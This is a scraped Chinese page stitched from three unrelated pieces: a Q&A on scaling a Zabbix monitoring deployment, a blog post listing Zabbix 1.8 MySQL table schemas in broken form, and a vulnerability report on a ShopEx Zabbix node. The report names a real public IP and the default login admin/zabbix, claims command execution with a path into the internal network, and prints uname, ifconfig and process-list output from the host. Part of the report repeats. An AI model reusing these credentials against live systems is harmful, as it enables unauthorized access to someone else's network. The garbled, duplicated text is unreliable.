zabbix的模式怎么架构_百度知道
zabbix的模式怎么架构
提问者采纳
这样写性能会有很大提升注意：；4，尤其是数据库、proxy，在server宕机的时候确定会很严重，server，尤其是数据库建议找一个高配置的设备，加大swap分区或者加内容吧3、前端页面最好都是找一个设备专门去跑。至于数据大量回传的问题。解决方法，找dba帮忙吧：1，重点查下原因.server down的问题，这方面没办法具体说.数据库优化.优化配置，减少Proxy保留的数据时间；如果的是的话、数据库，这样回传数据回减少很多2，莫名其妙的down的问题看下是否是因为内存不足触发的oom killerzabbix proxy的特点决定了中心的server、数据库是一个中心的瓶颈，量的时候.数据库上ssd
来自团队：
其他类似问题
为您推荐：
列巴的相关知识
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁zabbix的模式怎么架构？zabbix队列堆积该怎么处理才奏效
在使用zabbix的基本上都是中大型公司，这样子的公司监控服务器主机动辄就是两三千台，每台七八十项的监控项。想请教一点问题1:公司目前的状况，一台server，六台proxy，三千台左右监控主机，一台主机80项左右监控项。2:现在已经支撑不下去了，由于server现在莫名其妙的down，导致每次都积累大量的队列没有向数据库插入数据。3:请问如果重新架构，选择哪种模式构建，才能保证zabbix的健壮性。
按投票排序
zabbix proxy的特点决定了中心的server、数据库是一个中心的瓶颈，尤其是数据库。至于数据大量回传的问题，在server宕机的时候确定会很严重。解决方法：1.优化配置，减少Proxy保留的数据时间，这样回传数据回减少很多2.server down的问题，重点查下原因，莫名其妙的down的问题看下是否是因为内存不足触发的oom killer；如果的是的话，加大swap分区或者加内容吧3.数据库优化，这方面没办法具体说，找dba帮忙吧；4.数据库上ssd，这样写性能会有很大提升忘记说的一点，量的时候，server、proxy、数据库、前端页面最好都是找一个设备专门去跑，尤其是数据库建议找一个高配置的设备。
除了是被动监控，另外就是可能对zabbix server的库要进行优化了，除了主从，或者拆表分库等都是可以考虑了
没有用过zabbix，一直用icinga(nagios的变种)+pnp+nagvis+snmptt。 zabbix最让人诟病的地方就是资源消耗太大。如果你现在是主动检查的话，改用被动模式试试看。这个应该是立竿见影的。现在压力在哪头，是数据库还是应用。可以考虑拆分。
已有帐号？
无法登录？
社交帐号登录zabbix数据库表结构-持续更新 - 推酷
zabbix数据库表结构-持续更新
zabbix数据库表结构的重要性
想理解zabbix的前端代码、做深入的二次开发，甚至的调优，那就不能不了解数据库的表结构了。
我们这里采用的zabbix1.8、mysql，所以简单的说下我们mysql这边的表结构，其他环境不保证正确。
actions表记录了当触发器触发时，需要采用的动作。
+---------------+---------------------+------+-----+---------+-------+
| Null | Key | Default | Extra |
+---------------+---------------------+------+-----+---------+-------+
| actionid
| bigint(20) unsigned | NO
| varchar(255)
| eventsource
| evaltype
| esc_period
| def_shortdata | varchar(255)
| def_longdata
| recovery_msg
| r_shortdata
| varchar(255)
| r_longdata
+---------------+---------------------+------+-----+---------+-------+
alerts 表保存了历史的告警事件，可以从这个表里面去做一些统计分析，例如某个部门、
某人、某类时间的告警统计，以及更深入的故障发生、恢复时间，看你想怎么用了。
+-------------+---------------------+------+-----+---------+-------+
| Null | Key | Default | Extra |
+-------------+---------------------+------+-----+---------+-------+
| bigint(20) unsigned | NO
| actionid
| bigint(20) unsigned | NO
| bigint(20) unsigned | NO
| bigint(20) unsigned | NO
| mediatypeid | bigint(20) unsigned | NO
| varchar(100)
| varchar(255)
| varchar(128)
| nextcheck
| esc_step
| alerttype
+-------------+---------------------+------+-----+---------+-------+
config表保存了全局的参数，前端包括后端也是，很多情况下会查询改表的参数的，例如用户的自定义主题、
登陆认证类型等，非常重要，
不过对我们做数据分析意义不大。
+-------------------------+---------------------+------+-----+-----------------+-------+
| Null | Key | Default
+-------------------------+---------------------+------+-----+-----------------+-------+
| configid
| bigint(20) unsigned | NO
| alert_history
| event_history
| refresh_unsupported
| work_period
| varchar(100)
| 1-5,00:00-24:00 |
| alert_usrgrpid
| bigint(20) unsigned | NO
| event_ack_enable
| event_expire
| event_show_max
| default_theme
| varchar(128)
| default.css
| authentication_type
| ldap_host
| varchar(255)
| ldap_port
| ldap_base_dn
| varchar(255)
| ldap_bind_dn
| varchar(255)
| ldap_bind_password
| varchar(128)
| ldap_search_attribute
| varchar(128)
| dropdown_first_entry
| dropdown_first_remember | int(11)
| discovery_groupid
| bigint(20) unsigned | NO
| max_in_table
| search_limit
+-------------------------+---------------------+------+-----+-----------------+-------+
function 表时非常重要的一个表了，记录了trigger中使用的表达式，例如max、last、nodata等函数。
但其实这个表说他重要时因为同时记录了trigger、itemid，那就可以做一些API的开发了，例如根据
IP 茶香改IP的所有trigger，我记得1.8的版本的API是无法实现我说的这个功能的，那只能利用
function表去自己查询了。
+------------+---------------------+------+-----+---------+-------+
| Null | Key | Default | Extra |
+------------+---------------------+------+-----+---------+-------+
| functionid | bigint(20) unsigned | NO
| bigint(20) unsigned | NO
| triggerid
| bigint(20) unsigned | NO
| lastvalue
| varchar(255)
| function
| varchar(12)
| parameter
| varchar(255)
+------------+---------------------+------+-----+---------+-------+
graphs 表包含了用户定义的图表信息，同样的玩法可以是根据IP去查询改IP下的所有图表，
不过似乎是有API的，我只是举例而已。
+------------------+---------------------+------+-----+---------+-------+
| Null | Key | Default | Extra |
+------------------+---------------------+------+-----+---------+-------+
| bigint(20) unsigned | NO
| varchar(128)
| yaxismin
| double(16,4)
| yaxismax
| double(16,4)
| templateid
| bigint(20) unsigned | NO
| show_work_period | int(11)
| show_triggers
| graphtype
| show_legend
| percent_left
| double(16,4)
| percent_right
| double(16,4)
| ymin_type
| ymax_type
| ymin_itemid
| bigint(20) unsigned | NO
| ymax_itemid
| bigint(20) unsigned | NO
+------------------+---------------------+------+-----+---------+-------+
graphs_items
graphs_items 保存了属于某个图表的所有的监控项信息。
mysql& desc graphs_
+-------------+---------------------+------+-----+---------+-------+
| Null | Key | Default | Extra |
+-------------+---------------------+------+-----+---------+-------+
| bigint(20) unsigned | NO
| bigint(20) unsigned | NO
| bigint(20) unsigned | NO
| drawtype
| sortorder
| varchar(6)
| yaxisside
| calc_fnc
| periods_cnt | int(11)
+-------------+---------------------+------+-----+---------+-------+
groups 没啥说的，都懂，就是保存了组名和组的ID 。
+----------+---------------------+------+-----+---------+-------+
| Null | Key | Default | Extra |
+----------+---------------------+------+-----+---------+-------+
| bigint(20) unsigned | NO
| varchar(64)
| internal | int(11)
+----------+---------------------+------+-----+---------+-------+
history 、history_str、history_log 、history_uint_sync等
这部分表都差不多，唯一不同的是保存的数据类型，history_str保存的数据
类型就算str即字符类型的。这个是和采集时设置的数据类型一致的。
需要注意的时，因为history表有这么多的类型，那自己写报表系统等去查询
数据时，就需要判断下数据的采集类型，如果查错了表，那肯定时没有数据的。
+--------+---------------------+------+-----+---------+-------+
| Null | Key | Default | Extra |
+--------+---------------------+------+-----+---------+-------+
| itemid | bigint(20) unsigned | NO
| double(16,4)
+--------+---------------------+------+-----+---------+-------+
mysql& desc history_
+--------+---------------------+------+-----+---------+-------+
| Null | Key | Default | Extra |
+--------+---------------------+------+-----+---------+-------+
| itemid | bigint(20) unsigned | NO
| varchar(255)
+--------+---------------------+------+-----+---------+-------+
其他的类似，不贴了。
trends、trends_uint
trends 也是保存了历史数据用的，和history不同的时，trends表仅仅保存了
小时平均的值，即你可以理解为是history表的数据压缩。所以trends表也有
很多的类型，对应history。
值的注意的trends和history表这两类表数据量都非常大，我们一天大概就要有
40G 的数据。
所以注意定是去做压缩、删除。
+-----------+---------------------+------+-----+---------+-------+
| Null | Key | Default | Extra |
+-----------+---------------------+------+-----+---------+-------+
| bigint(20) unsigned | NO
| value_min | double(16,4)
| value_avg | double(16,4)
| value_max | double(16,4)
+-----------+---------------------+------+-----+---------+-------+
mysql& desc trends_
+-----------+---------------------+------+-----+---------+-------+
| Null | Key | Default | Extra |
+-----------+---------------------+------+-----+---------+-------+
| bigint(20) unsigned | NO
| value_min | bigint(20) unsigned | NO
| value_avg | bigint(20) unsigned | NO
| value_max | bigint(20) unsigned | NO
+-----------+---------------------+------+-----+---------+-------+
hosts 非常重要，保存了每个agent、proxy等的IP 、hostid、状态、IPMI等信息，
几乎是记录了一台设备的所有的信息。
当然hostid是当中非常非常重要的信息，其他的表一般都时关联hostid的。
+--------------------+---------------------+------+-----+-----------+-------+
| Null | Key | Default
+--------------------+---------------------+------+-----+-----------+-------+
| bigint(20) unsigned | NO
| proxy_hostid
| bigint(20) unsigned | NO
| varchar(64)
| varchar(64)
| varchar(39)
| 127.0.0.1 |
| disable_until
| varchar(128)
| available
| errors_from
| lastaccess
| bigint(20) unsigned | NO
| outbytes
| bigint(20) unsigned | NO
| ipmi_port
| ipmi_authtype
| ipmi_privilege
| ipmi_username
| varchar(16)
| ipmi_password
| varchar(20)
| ipmi_disable_until | int(11)
| ipmi_available
| snmp_disable_until | int(11)
| snmp_available
| maintenanceid
| bigint(20) unsigned | NO
| maintenance_status | int(11)
| maintenance_type
| maintenance_from
| varchar(64)
| 127.0.0.1 |
| ipmi_errors_from
| snmp_errors_from
| ipmi_error
| varchar(128)
| snmp_error
| varchar(128)
+--------------------+---------------------+------+-----+-----------+-------+
其实1.0的版本中，是没有这么多的字段的，好像只有hostid、host、status、disable_until
等几个字段，但1.8已经如此丰富了。
hosts_groups
hosts_groups 保存了host（主机）与host groups（主机组）的关联关系。
这部分信息可以在我们自己做一些批量查询，例如查询关联到某个主机组的所有
设备的IP 、存活状态等，进一步去查询该批量设备的load、IO、mem等统计信息。
我之前做的一个简单的报表就是例如了这部分的信息去查询某个业务线下所有设备
的一周统计信息，当然了是在同一个主机组或者模版组才可以的。
mysql& desc hosts_
+-------------+---------------------+------+-----+---------+-------+
| Null | Key | Default | Extra |
+-------------+---------------------+------+-----+---------+-------+
| hostgroupid | bigint(20) unsigned | NO
| bigint(20) unsigned | NO
| bigint(20) unsigned | NO
+-------------+---------------------+------+-----+---------+-------+
items 表保存了采集项的信息。
+-----------------------+---------------------+------+-----+---------+-------+
| Null | Key | Default | Extra |
+-----------------------+---------------------+------+-----+---------+-------+
| bigint(20) unsigned | NO
| snmp_community
| varchar(64)
| snmp_oid
| varchar(255)
| snmp_port
| bigint(20) unsigned | NO
| description
| varchar(255)
| varchar(255)
| lastvalue
| varchar(255)
| lastclock
| prevvalue
| varchar(255)
| value_type
| trapper_hosts
| varchar(255)
| varchar(10)
| multiplier
| prevorgvalue
| varchar(255)
| snmpv3_securityname
| varchar(64)
| snmpv3_securitylevel
| snmpv3_authpassphrase | varchar(64)
| snmpv3_privpassphrase | varchar(64)
| varchar(255)
| varchar(128)
| lastlogsize
| logtimefmt
| varchar(64)
| templateid
| bigint(20) unsigned | NO
| valuemapid
| bigint(20) unsigned | NO
| delay_flex
| varchar(255)
| ipmi_sensor
| varchar(128)
| data_type
| authtype
| username
| varchar(64)
| password
| varchar(64)
| publickey
| varchar(64)
| privatekey
| varchar(64)
+-----------------------+---------------------+------+-----+---------+-------+
media 保存了某个用户的media配置项，即对应的告警方式。
+-------------+---------------------+------+-----+-----------------+-------+
| Null | Key | Default
+-------------+---------------------+------+-----+-----------------+-------+
| bigint(20) unsigned | NO
| bigint(20) unsigned | NO
| mediatypeid | bigint(20) unsigned | NO
| varchar(100)
| severity
| varchar(100)
| 1-7,00:00-23:59 |
+-------------+---------------------+------+-----+-----------------+-------+
media_type
media_type 表与media 表不同的是media_type 记录了某个告警方式对应的脚步等的存放路径。
mysql& desc media_
+-------------+---------------------+------+-----+---------+-------+
| Null | Key | Default | Extra |
+-------------+---------------------+------+-----+---------+-------+
| mediatypeid | bigint(20) unsigned | NO
| description | varchar(100)
| smtp_server | varchar(255)
| smtp_helo
| varchar(255)
| smtp_email
| varchar(255)
| exec_path
| varchar(255)
| gsm_modem
| varchar(255)
| username
| varchar(255)
| varchar(255)
+-------------+---------------------+------+-----+---------+-------+
media 与media_type 通过mediatypeid 键关联。
profiles 表保存了用户的一些配置项。
+-----------+---------------------+------+-----+---------+-------+
| Null | Key | Default | Extra |
+-----------+---------------------+------+-----+---------+-------+
| profileid | bigint(20) unsigned | NO
| bigint(20) unsigned | NO
| varchar(96)
| bigint(20) unsigned | NO
| value_id
| bigint(20) unsigned | NO
| value_int | int(11)
| value_str | varchar(255)
| varchar(96)
+-----------+---------------------+------+-----+---------+-------+
rights 表保存了用户组的权限信息，zabbix的权限一直也是我理不太清的地方，
其实这个表里面有详细的记录。
+------------+---------------------+------+-----+---------+-------+
| Null | Key | Default | Extra |
+------------+---------------------+------+-----+---------+-------+
| bigint(20) unsigned | NO
| bigint(20) unsigned | NO
| permission | int(11)
| bigint(20) unsigned | YES
| MUL | NULL
+------------+---------------------+------+-----+---------+-------+
screeens 表保存了用户定义的图片。
+------------------+---------------------+------+-----+---------+-------+
| Null | Key | Default | Extra |
+------------------+---------------------+------+-----+---------+-------+
| bigint(20) unsigned | NO
| varchar(128)
| yaxismin
| double(16,4)
| yaxismax
| double(16,4)
| templateid
| bigint(20) unsigned | NO
| show_work_period | int(11)
| show_triggers
| graphtype
| show_legend
| percent_left
| double(16,4)
| percent_right
| double(16,4)
| ymin_type
| ymax_type
| ymin_itemid
| bigint(20) unsigned | NO
| ymax_itemid
| bigint(20) unsigned | NO
+------------------+---------------------+------+-----+---------+-------+
screeens_items
同graphs_items。
mysql& desc screens_
+--------------+---------------------+------+-----+---------+-------+
| Null | Key | Default | Extra |
+--------------+---------------------+------+-----+---------+-------+
| screenitemid | bigint(20) unsigned | NO
| screenid
| bigint(20) unsigned | NO
| resourcetype | int(11)
| resourceid
| bigint(20) unsigned | NO
| elements
| varchar(255)
+--------------+---------------------+------+-----+---------+-------+
sessions 表很重要，保存了每个用户的sessions,在登陆、注销的时候均会操作
该张表的。
做cas等统一认证时，需要了解下该表和相关的登陆、验证流程。有兴趣的看我
前面的文章吧。
+------------+---------------------+------+-----+---------+-------+
| Null | Key | Default | Extra |
+------------+---------------------+------+-----+---------+-------+
| sessionid
| varchar(32)
| bigint(20) unsigned | NO
| lastaccess | int(11)
+------------+---------------------+------+-----+---------+-------+
triggers 顾名思义保存了trigger的所有信息。
+-------------+---------------------+------+-----+---------+-------+
| Null | Key | Default | Extra |
+-------------+---------------------+------+-----+---------+-------+
| triggerid
| bigint(20) unsigned | NO
| expression
| varchar(255)
| description | varchar(255)
| varchar(255)
| priority
| lastchange
| dep_level
| comments
| varchar(128)
| templateid
| bigint(20) unsigned | NO
+-------------+---------------------+------+-----+---------+-------+
trigger_depends
trigger_depends 保存了trigger的依赖关系。
mysql& desc trigger_
+----------------+---------------------+------+-----+---------+-------+
| Null | Key | Default | Extra |
+----------------+---------------------+------+-----+---------+-------+
| triggerdepid
| bigint(20) unsigned | NO
| triggerid_down | bigint(20) unsigned | NO
| triggerid_up
| bigint(20) unsigned | NO
+----------------+---------------------+------+-----+---------+-------+
不需要解释了,值的一提的部分用户配置会在该表中，例如auotlogin、autologout、
url、theme等信息。
+----------------+---------------------+------+-----+-------------+-------+
| Null | Key | Default
+----------------+---------------------+------+-----+-------------+-------+
| bigint(20) unsigned | NO
| varchar(100)
| varchar(100)
| varchar(100)
| char(32)
| varchar(255)
| autologin
| autologout
| varchar(5)
| varchar(128)
| default.css |
| attempt_failed | int(11)
| attempt_ip
| varchar(39)
| attempt_clock
| rows_per_page
+----------------+---------------------+------+-----+-------------+-------+
未完待续。。。后续会持续更新的。
已发表评论数()
已收藏到推刊！
请填写推刊名
描述不能大于100个字符!
权限设置： 公开
仅自己可见
正文不准确
标题不准确
排版有问题
没有分页内容
图片无法显示
视频无法显示
与原文不一致ShopEx某zabbix节点弱口令，导致命令执行(可入内网)
国内少见，还在坚持使用zabbix node做为分布式监控。
站点：http://202.108.13.148/
默认账号：admin
默认口令：zabbix
使用node节点模式，建立一个层次结构的分布式监控。每一个节点是一个完整的zabbix服务器，和负责监视它自己的位置，zabbx支持高达一千个节点的分布式安装。
使用node节点的好处：
1、在大型的网络中，涉及多个地点建立一个多层次的监控，在层次结构中的节点会将监控的数据传输给其主节点。
2、一个节点可以在本地配置或通过拥有所有节点配置的主节点配置。
3、数据收集将变得更加可靠。如果主节点和子节点之间的通信发生故障时，节点可以保持正常运行状态，采集的数据信息和事件将存储在本地。当主节点和子节点的连接恢复时，子节点将有选择地将数据发送到主节点。
4、节点可以脱离成一个单一的zabbix服务器的工作，能独立监视数千台主机。
新节点的添加和删除，不影响现有节点的配置。无需重新启动所需的任何节点。
5、但是zabbix官网已在最新版本的2.4.x中不再支持Node分布式,转而大力支持Server--Proxy分布式方式，也已成为国内外的分布式监控主流。
命令执行：
Linux tsung 2.6.18-194.el5 #1 SMP Fri Apr 2 14:58:14 EDT
x86_64 x86_64 GNU/Linux
Link encap:Ethernet
HWaddr 5C:F3:FC:E6:67:DC
inet addr:192.168.8.17
Bcast:192.168.8.255
Mask:255.255.255.0
inet6 addr: fe80::5ef3:fcff:fee6:67dc/64 Scope:Link
UP BROADCAST RUNNING MULTICAST
RX packets: errors:0 dropped:81 overruns:0 frame:0
TX packets: errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes: (819.4 GiB)
TX bytes: (494.1 GiB)
Interrupt:169 Memory:12800
Link encap:Ethernet
HWaddr 5C:F3:FC:E6:67:DE
BROADCAST MULTICAST
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 b)
TX bytes:0 (0.0 b)
Interrupt:114 Memory:12800
Link encap:Local Loopback
inet addr:127.0.0.1
Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING
RX packets: errors:0 dropped:0 overruns:0 frame:0
TX packets: errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes: (94.3 GiB)
TX bytes: (94.3 GiB)
Link encap:IPv6-in-IPv4
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 b)
TX bytes:0 (0.0 b)
Link encap:Ethernet
HWaddr 5E:F3:FC:DE:67:DF
inet addr:169.254.95.120
Bcast:169.254.95.255
Mask:255.255.255.0
inet6 addr: fe80::5cf3:fcff:fede:67df/64 Scope:Link
UP BROADCAST RUNNING MULTICAST
RX packets: errors:0 dropped:0 overruns:0 frame:0
TX packets: errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes: (2.3 GiB)
TX bytes: (842.2 MiB)
C STIME TTY
00:02:48 init [3]
00:00:00 [migration/0]
00:00:04 [ksoftirqd/0]
00:00:00 [watchdog/0]
00:04:33 [migration/1]
00:00:08 [ksoftirqd/1]
00:00:00 [watchdog/1]
00:03:23 [migration/2]
00:05:37 [ksoftirqd/2]
00:00:00 [watchdog/2]
00:03:02 [migration/3]
00:06:16 [ksoftirqd/3]
00:00:00 [watchdog/3]
00:00:02 [events/0]
00:00:02 [events/1]
00:00:03 [events/2]
00:00:03 [events/3]
00:00:00 [khelper]
00:00:00 [kthread]
00:00:09 [kblockd/0]
00:05:52 [kblockd/1]
00:12:08 [kblockd/2]
00:12:50 [kblockd/3]
00:00:00 [kacpid]
00:00:00 [cqueue/0]
00:00:00 [cqueue/1]
00:00:00 [cqueue/2]
00:00:00 [cqueue/3]
00:00:00 [khubd]
00:00:00 [kseriod]
00:00:00 /usr/local/zabbix2/sbin/zabbix_server
00:29:11 /usr/local/zabbix2/sbin/zabbix_server
00:00:00 /usr/local/zabbix2/sbin/zabbix_server
01:46:05 /usr/local/zabbix2/sbin/zabbix_server
01:45:56 /usr/local/zabbix2/sbin/zabbix_server
01:45:52 /usr/local/zabbix2/sbin/zabbix_server
01:45:49 /usr/local/zabbix2/sbin/zabbix_server
01:46:04 /usr/local/zabbix2/sbin/zabbix_server
00:00:00 /usr/local/zabbix2/sbin/zabbix_server
00:00:00 /usr/local/zabbix2/sbin/zabbix_server
00:00:00 /usr/local/zabbix2/sbin/zabbix_server
00:00:00 /usr/local/zabbix2/sbin/zabbix_server
00:00:00 /usr/local/zabbix2/sbin/zabbix_server
00:00:00 /usr/local/zabbix2/sbin/zabbix_server
00:00:00 /usr/local/zabbix2/sbin/zabbix_server
00:00:00 /usr/local/zabbix2/sbin/zabbix_server
00:01:16 /usr/local/zabbix2/sbin/zabbix_server
00:34:23 /usr/local/zabbix2/sbin/zabbix_server
00:00:45 /usr/local/zabbix2/sbin/zabbix_server
00:00:02 /usr/local/zabbix2/sbin/zabbix_server
00:20:26 /usr/local/zabbix2/sbin/zabbix_server
00:20:12 /usr/local/zabbix2/sbin/zabbix_server
00:20:17 /usr/local/zabbix2/sbin/zabbix_server
00:20:14 /usr/local/zabbix2/sbin/zabbix_server
00:00:01 /usr/local/zabbix2/sbin/zabbix_server
00:00:00 /usr/local/zabbix2/sbin/zabbix_server
00:00:00 /usr/local/zabbix2/sbin/zabbix_server
00:00:00 [khungtaskd]
01:52:21 [kswapd0]
00:00:00 [aio/0]
00:00:00 [aio/1]
00:00:00 [aio/2]
00:00:00 [aio/3]
00:00:00 [kpsmoused]
00:00:00 [scsi_eh_0]
00:00:00 [ata/0]
00:00:00 [ata/1]
00:00:00 [ata/2]
00:00:00 [ata/3]
00:00:00 [ata_aux]
00:00:00 [scsi_eh_1]
00:00:00 [scsi_eh_2]
00:00:00 [scsi_eh_3]
00:00:00 [scsi_eh_4]
00:00:00 [kstriped]
2-00:42:38 [kjournald]
00:00:47 [kauditd]
00:00:00 /bin/sh /usr/local//bin/mysqld_safe --datadir=/usr/local/mysql/data/ --pid-file=/tmp/mysql.pid
14-11:51:55 /usr/local/mysql/libexec/mysqld --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data/ --user=mysql --log-error=/usr/local/mysql/data//tsung.err --pid-file=/tmp/mysql.pid --socket=/tmp/mysql.sock --port=3306
00:00:00 [kmpathd/0]
00:00:00 [kmpathd/1]
00:00:00 [kmpathd/2]
00:00:00 [kmpathd/3]
00:00:00 [kmpath_handlerd]
00:00:00 [kjournald]
00:05:34 [kjournald]
00:01:32 /sbin/dhclient -1 -q -lf /var/lib/dhclient/dhclient-usb0.leases -pf /var/run/dhclient-usb0.pid usb0
04:25:00 syslogd -m 0
00:00:00 klogd -x
00:00:00 [kondemand/0]
00:00:00 [kondemand/1]
00:00:02 [kondemand/2]
00:00:03 [kondemand/3]
00:11:36 irqbalance
00:00:00 portmap
00:00:00 [rpciod/0]
00:00:00 [rpciod/1]
00:00:00 [rpciod/2]
00:00:00 [rpciod/3]
00:07:15 dbus-daemon --system
00:00:00 /usr/sbin/hcid
00:00:00 /usr/sbin/sdpd
00:00:00 [krfcommd]
00:00:00 /usr/sbin/acpid
00:00:05 hald
00:00:00 hald-runner
00:00:00 hald-addon-acpi: listening on acpid socket /var/run/acpid.socket
00:00:00 /usr/bin/hidd --server
00:00:00 gpm -m /dev/input/mice -t exps2
00:01:15 crond
00:00:00 xfs -droppriv -daemon
00:00:00 /usr/sbin/atd
00:00:00 /usr/sbin/smartd -q never
00:00:00 /sbin/mingetty tty1
00:00:00 /sbin/mingetty tty2
00:00:00 /sbin/mingetty tty3
00:00:00 /sbin/mingetty tty4
00:00:00 /sbin/mingetty tty5
00:00:00 /sbin/mingetty tty6
00:39:34 /usr/bin/python -tt /usr/sbin/yum-updatesd
00:00:07 /usr/libexec/gam_server
00:00:04 sendmail: ./t0J94UmK006337 from queue
00:00:00 crond
00:00:00 [ntpdate] &defunct&
00:00:00 /usr/sbin/sendmail -FCronDaemon -i -odi -oem -oi -t
00:00:00 sendmail: ./t0KE95BR007268 man001.localdomain.: user open
00:00:00 sh -c uname -a && ifconfig -a &&ps -ef
00:00:00 ps -ef
00:00:00 SCREEN -S awstats
2014 pts/4
00:00:00 /bin/bash
00:00:00 /bin/sh -i
00:01:46 [pdflush]
00:00:00 /sbin/udevd -d
00:00:00 nginx: worker process
00:00:00 nginx: worker process
00:00:00 nginx: worker process
00:00:00 nginx: worker process
00:00:00 /usr/local/zabbix2/sbin/zabbix_agentd
00:00:48 /usr/local/zabbix2/sbin/zabbix_agentd
00:10:00 /usr/local/zabbix2/sbin/zabbix_agentd
00:09:53 /usr/local/zabbix2/sbin/zabbix_agentd
00:10:00 /usr/local/zabbix2/sbin/zabbix_agentd
00:15:05 sendmail: accepting connections
00:00:00 sendmail: Queue runner@01:00:00 for /var/spool/clientmqueue
01:19:29 auditd
00:08:56 /sbin/audispd
00:10:08 /usr/sbin/sshd
00:03:27 pcscd
00:00:00 rpc.idmapd
00:00:00 rpc.statd
00:00:05 automount
00:00:00 cupsd
00:00:03 avahi-daemon: running [lenovo-man001.local]
00:00:00 avahi-daemon: chroot helper
00:00:00 /usr/local/lib/erlang/erts-5.7.2/bin/epmd -daemon
00:00:01 nginx: master process /usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf
00:00:02 /usr/local/memcached/bin/memcached -d -m 64 -uwww -p 11211
00:01:01 [pdflush]
00:00:06 php-fpm: master process (/usr/local/php/etc/php-fpm.conf)
00:05:57 php-fpm: pool www
00:05:54 php-fpm: pool www
00:05:55 php-fpm: pool www
00:06:07 php-fpm: pool www
00:06:06 php-fpm: pool www
00:05:58 php-fpm: pool www
00:05:48 php-fpm: pool www
00:05:51 php-fpm: pool www
00:05:58 php-fpm: pool www
00:05:52 php-fpm: pool www
00:06:01 php-fpm: pool www
00:05:48 php-fpm: pool www
00:05:52 php-fpm: pool www
00:06:04 php-fpm: pool www
00:05:51 php-fpm: pool www
00:05:58 php-fpm: pool www
00:05:55 php-fpm: pool www
00:06:01 php-fpm: pool www
00:05:46 php-fpm: pool www
00:05:53 php-fpm: pool www
01:39:45 /usr/sbin/snmpd -Lsd -Lf /dev/null -p /var/run/snmpd.pid -a
00:00:00 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
00:23:36 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
00:00:31 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
08:59:36 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
00:09:46 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
00:00:49 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
01:35:54 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
02:15:26 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
00:04:27 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
00:05:55 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
00:05:54 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
00:05:54 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
00:05:51 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
00:05:53 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
00:00:47 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
00:00:03 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
04:10:50 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
00:20:52 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
1-14:44:33 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
00:08:15 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
00:00:28 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
02:13:29 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
02:13:49 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
02:13:37 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
02:14:10 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
00:02:09 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
00:00:23 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
00:00:33 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
站点：http://202.108.13.148/
默认账号：admin
默认口令：zabbix
使用node节点模式，建立一个层次结构的分布式监控。每一个节点是一个完整的zabbix服务器，和负责监视它自己的位置，zabbx支持高达一千个节点的分布式安装。
使用node节点的好处：
1、在大型的网络中，涉及多个地点建立一个多层次的监控，在层次结构中的节点会将监控的数据传输给其主节点。
2、一个节点可以在本地配置或通过拥有所有节点配置的主节点配置。
3、数据收集将变得更加可靠。如果主节点和子节点之间的通信发生故障时，节点可以保持正常运行状态，采集的数据信息和事件将存储在本地。当主节点和子节点的连接恢复时，子节点将有选择地将数据发送到主节点。
4、节点可以脱离成一个单一的zabbix服务器的工作，能独立监视数千台主机。
新节点的添加和删除，不影响现有节点的配置。无需重新启动所需的任何节点。
5、但是zabbix官网已在最新版本的2.4.x中不再支持Node分布式,转而大力支持Server--Proxy分布式方式，也已成为国内外的分布式监控主流。
命令执行：
tsung 2.6.18-194.el5 #1 SMP Fri Apr 2 14:58:14 EDT
x86_64 x86_64 GNU/Linux
Link encap:Ethernet
HWaddr 5C:F3:FC:E6:67:DC
inet addr:192.168.8.17
Bcast:192.168.8.255
Mask:255.255.255.0
inet6 addr: fe80::5ef3:fcff:fee6:67dc/64 Scope:Link
UP BROADCAST RUNNING MULTICAST
RX packets: errors:0 dropped:81 overruns:0 frame:0
